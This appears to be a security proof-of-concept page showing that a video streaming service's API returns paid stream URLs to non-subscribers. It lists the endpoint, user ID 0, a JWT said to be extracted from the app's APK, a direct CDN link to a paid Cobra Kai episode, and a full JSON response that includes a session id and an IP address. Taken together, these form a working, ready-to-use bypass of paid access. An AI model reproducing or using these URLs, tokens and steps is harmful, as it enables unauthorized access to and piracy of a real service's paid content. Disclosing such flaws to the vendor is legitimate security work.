SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required
Per-movie CDN bypass proof:
The API returned playingUrl for Cobra Kai with issubscriber: false, user_access: deny, and paid_for: true.
The video_name + serverhost from the API response are used to construct the CDN URL above — confirming that the CDN file for this specific movie is publicly accessible with no authentication.
Cobra Kai
Vj Jingo Series 27h 00m 5 years ago

Decades after their 1984 All Valley Karate Tournament bout, a middle-aged Daniel LaRusso and Johnny Lawrence find themselves martial-arts rivals again.

Episodes
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 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/19084/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 31
video_name cobra kai ss1 1.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN stream https://munotek-vault.b-cdn.net/d06f6/171/cobra%20kai%20ss1%201.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206). 

{
    "id": 19084,
    "video_title": "Cobra Kai",
    "description": " Decades after their 1984 All Valley Karate Tournament bout, a middle-aged Daniel LaRusso and Johnny Lawrence find themselves martial-arts rivals again.",
    "video_name": "cobra kai ss1 1.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "31",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "27h 00m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/795184365772.jpg",
    "tfilehistory": "",
    "category_id": 5,
    "language_id": 1,
    "recording_date": "2021-11-10",
    "age_id": "Tv G",
    "location": 1,
    "tab_category_id": 5,
    "series_code": "94212",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "258.05 MB",
    "create_date": "2021-11-10 11:49:12",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 8,
    "video_status_id": 0,
    "network_id": "45.221.8.174",
    "user_access": "deny",
    "notification": "No",
    "secduration": "97200.000000",
    "issubscriber": false,
    "genre": "Series",
    "vjname": "Vj Jingo",
    "trailer_playing_url": "",
    "episodes": 15,
    "episode_state": "NEXT",
    "nxt_eps": "EPS   2",
    "nxt_eps_id": 19085,
    "nxt_eps_title": "Cobra Kai 2",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "5 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}